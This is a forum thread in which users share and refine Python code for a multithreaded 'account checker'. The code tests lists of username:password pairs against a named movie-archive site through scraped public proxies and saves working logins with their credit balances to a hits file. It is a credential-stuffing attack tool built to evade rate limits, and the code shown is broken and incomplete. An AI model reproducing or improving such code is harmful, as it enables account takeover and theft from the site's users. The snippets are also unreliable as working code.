OP12 September, 2022 - 07:08 PM(This post was last modified: 07 January, 2024 - 12:22 AM by shadow78. Edited 1 time in total.)
Reply
Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:
(12 September, 2022 - 07:08 PM)shadow78 Wrote: Show More
Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:
Just some very basic modifications. Don't quote me if you don't like them
Place the user:pass data in a txt file and name it "data.txt". Handle errors on your own.
Code:
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
import random
import requests
from bs4 import BeautifulSoup
from os import getcwd
rp = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all')
proxies = rp.content.decode().replace('\r', '').split("\n")
proxies.remove('')
# load user:pass from data.txt
user_data = [line.rstrip() for line in open(f"{getcwd()}\\data.txt").readlines()]
lock = Lock()
def checker(x):
try:
username = x.split(":")[0]
password = x.split(":")[1]
except IndexError: # if there is no :
print(f"[BAD] | {x}")
return
r = requests.get("https://www.celebritymoviearchive.com/members/account.php", cookies=cookies,
headers=check_account_headers, proxies=proxy, timeout=30)
soup = BeautifulSoup(r.text, "html.parser")
credit = soup.select_one('div.logout > h2:nth-child(1)').text
with lock: # if you use too many threads then python will start printing in same line and I don't like it
print(f"[HIT] {username} | {password} | Credits: {credit}")
with open(f"{getcwd()}\\hits.txt", "a") as f:
f.write(f"{username}:{password} | Credits: {credit}\n")
return
except (ConnectionError, TimeoutError):
with lock: # if you use too many threads then python will start printing in same line and I don't like it
print("Proxy Issue, Retrying..")
checker(x) # let's not skip it because of proxy issue, there are some other proxy errors as well like httperror, find it yourself
except:
with lock: # if you use too many threads then python will start printing in same line and I don't like it
print(f"[BAD] | {username} | {password}")
if __name__ == '__main__':
try:
thread_count = int(input("Enter thread count: "))
except ValueError:
input("Asked for Thread Count! Enter Numbers Only!")
quit()
with ThreadPoolExecutor(max_workers=thread_count) as executor:
for data in user_data:
executor.submit(checker, data)
executor.shutdown(wait=True, cancel_futures=False)
input("Press 'Enter' to exit.")
29 September, 2022 - 03:09 AM(This post was last modified: 29 September, 2022 - 03:10 AM by wiligangster. Edited 1 time in total.)
Reply
(12 September, 2022 - 07:08 PM)shadow78 Wrote: Show More
Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:
Code:
from concurrent.futures import ThreadPoolExecutor
from tkinter import Tk
from tkinter.filedialog import askopenfilename
import random
import requests
from bs4 import BeautifulSoup
from past.builtins import raw_input
path = askopenfilename()
file1 = open("Hits.txt", "w")
usernames = []
passwords = []
with open(path) as data:
for line in map(str.strip, data):
try:
pos = line.index(':')
usernames.append(line[:pos])
passwords.append(line[pos + 1:])
except ValueError:
pass # ignore this line as no colon found